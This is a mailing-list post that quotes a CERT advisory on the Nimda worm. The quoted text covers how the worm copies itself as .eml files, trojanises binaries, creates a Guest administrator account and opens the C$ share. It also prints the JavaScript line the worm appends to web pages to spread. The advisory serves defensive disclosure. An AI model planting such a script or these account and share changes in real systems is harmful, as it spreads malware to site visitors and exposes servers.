from http://www.cert.org/advisories/CA-2001-26.html Once running on the server machine, the worm traverses each directory in the system (including all those accessible through file shares) and writes a MIME-encoded copy of itself to disk using file names with .eml or .nws extensions (e.g., readme.eml). When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files: <script language="JavaScript"> window.open("readme.eml",null, "resizable=no, top=6000, left6000") </script> This modification of web content allows further propagation of the worm to new clients through a web browser or through the browsing of a network file system. In order to further expose the machine, the worm enables the sharing of the c: drive as C$ creates a "Guest" account on Windows NT and 2000 systems adds this account to the "Administrator" group. Furthermore, the Nimda worm infects existing binaries on the system by creating Trojan horse copies of legitimate applications. These Trojan horse versions of the applications will first execute the Nimda code (further infecting the system and potentially propagating the worm), and then complete their intended function. David Correa RHCE CCNA _ _ _ _ _ _ _ _ ___ ____ ____ _ _ tech@linux-tech.com | | |\ | | | \/ | |___ | |__| http://www.linux-tech.com |___ | | \| |__| _/\_ | |___ |___ | | ------------------------------------------------------------------------ To unsubscribe email security-discuss-request@linuxsecurity.com with "unsubscribe" in the subject of the message.
